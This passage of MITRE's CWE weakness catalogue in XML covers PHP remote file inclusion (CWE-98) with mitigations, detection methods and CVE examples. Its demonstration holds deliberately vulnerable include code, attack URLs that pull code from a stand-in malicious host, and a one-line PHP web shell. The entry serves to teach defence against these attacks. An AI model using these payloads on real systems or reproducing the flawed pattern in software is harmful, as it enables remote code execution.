               <Entry_Name>Server-Side Includes (SSI) Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>36</Entry_ID>
               <Entry_Name>SSI Injection</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="101"/>
            <Related_Attack_Pattern CAPEC_ID="35"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Server-Side Includes (SSI) Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize Server-Side Includes (SSI) Within a Web Page</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="98" Name="Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.</Description>
         <Extended_Description>In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="829" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="94" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="426" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Often"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Remote file include</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>RFI</Term>
               <Description>The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Local file inclusion</Term>
               <Description>This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product.</xhtml:p>
                  <xhtml:p>Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.</xhtml:p>
               </Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>
                  <xhtml:p>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</xhtml:p>
                  <xhtml:p>For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-34">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.</xhtml:p>
                  <xhtml:p>This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-6">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.</xhtml:p>
                  <xhtml:p>Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-29">
               <Phase>Operation</Phase>
               <Strategy>Firewall</Strategy>
               <Description>Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-16">
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>
                  <xhtml:p>When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</xhtml:p>
                  <xhtml:p>Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Set allow_url_fopen to false, which limits the ability to include files from remote locations.</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$dir = $_GET['module_name'];<xhtml:br/>include($dir . "/function.php");</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>victim.php?module_name=http://malicious.example.com</xhtml:div>
               </Example_Code>
               <Body_Text>Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.</Body_Text>
               <Body_Text>For the sake of this example, assume that the malicious version of function.php looks like the following:</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>system($_GET['cmd']);</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker could now go a step further in our example and provide a request string as follows:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>victim.php?module_name=http://malicious.example.com&amp;cmd=/bin/ls%20-l</xhtml:div>
               </Example_Code>
               <Body_Text>The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>/bin/ls -l</xhtml:div>
               </Example_Code>
               <Body_Text>Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0285</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0285</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0030</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0030</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0068</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0068</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2157</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2157</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2162</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2162</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2198</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2198</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0128</Reference>
               <Description>Modification of assumed-immutable variable in configuration script leads to file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0128</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1864</Reference>
               <Description>PHP file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1864</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1869</Reference>
               <Description>PHP file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1869</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1870</Reference>
               <Description>PHP file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1870</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2154</Reference>
               <Description>PHP local file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2154</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1704</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1704</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1707</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1707</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1964</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1964</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1681</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1681</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2086</Reference>
               <Description>PHP remote file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2086</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0127</Reference>
               <Description>Directory traversal vulnerability in PHP include statement.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0127</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1971</Reference>
               <Description>Directory traversal vulnerability in PHP include statement.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1971</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3335</Reference>
               <Description>PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3335</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1936</Reference>
               <Description>chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1936</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>PHP File Include</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Malicious File Execution</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>5</Entry_ID>
               <Entry_Name>Remote File Inclusion</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="193"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-185"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-951"/>
            <Reference External_Reference_ID="REF-952"/>
            <Reference External_Reference_ID="REF-953"/>
         </References>
         <Notes>
            <Note Type="Relationship">
               <xhtml:p>This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.</xhtml:p>
               <xhtml:p>Can overlap directory traversal in local inclusion problems.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Research_Gaps, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>converted from Compound_Element to Weakness</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Name, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">PHP File Inclusion</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-02-21">Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="99" Name="Improper Control of Resource Identifiers ('Resource Injection')" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.</Description>
         <Extended_Description>
            <xhtml:p>A resource injection issue occurs when the following two conditions are met:</xhtml:p>
               <xhtml:ol>
                  <xhtml:li>An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.</xhtml:li>
